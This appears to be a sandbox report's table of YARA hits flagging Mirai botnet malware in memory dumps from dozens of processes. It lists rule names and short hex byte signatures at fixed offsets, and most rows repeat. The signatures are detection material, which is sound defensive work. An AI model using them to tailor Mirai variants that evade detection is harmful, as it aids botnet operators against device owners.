6534.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6534.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6534.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6534.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7439.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7439.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7439.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7439.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7439.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7439.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6512.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6512.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6512.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6512.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6512.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6512.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6413.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6413.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6413.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6413.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6413.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6413.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6428.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7030.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7030.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7030.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7030.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7030.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7030.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6428.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6428.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6428.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6428.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6428.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6246.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6246.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6246.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6246.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6246.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6246.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6700.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6700.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6700.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6700.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6700.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6700.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7242.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7242.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7242.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7242.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7242.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7242.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7117.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7117.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7117.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7117.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7117.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7117.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7338.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6277.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6277.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6277.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6277.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6277.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6277.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7272.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7272.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7272.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7272.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7272.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7272.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7417.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7417.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7417.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7417.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7417.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7417.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6979.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6979.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6979.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6979.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6979.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6979.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6595.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6595.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6595.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6595.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6595.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6595.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6741.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6741.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6741.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6741.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6741.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6741.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6477.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6477.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6477.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6477.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6477.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6477.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6859.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6859.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6859.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6859.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6859.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6859.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7371.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7371.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7371.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7371.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7371.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7371.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6908.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6908.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6908.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6908.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6908.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6908.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6363.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6363.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6363.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6363.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6363.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6363.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6983.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6983.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6983.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6983.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6983.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6983.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7288.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7288.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7288.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7288.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7288.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7288.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7078.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7078.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7078.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7078.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7078.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7078.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7106.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7106.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7106.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7106.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7106.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7106.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7041.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7041.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7041.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7041.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7041.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7041.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7199.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7199.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7199.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7199.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7199.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7199.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7394.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7394.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7394.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7394.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7394.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7394.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7316.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7316.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
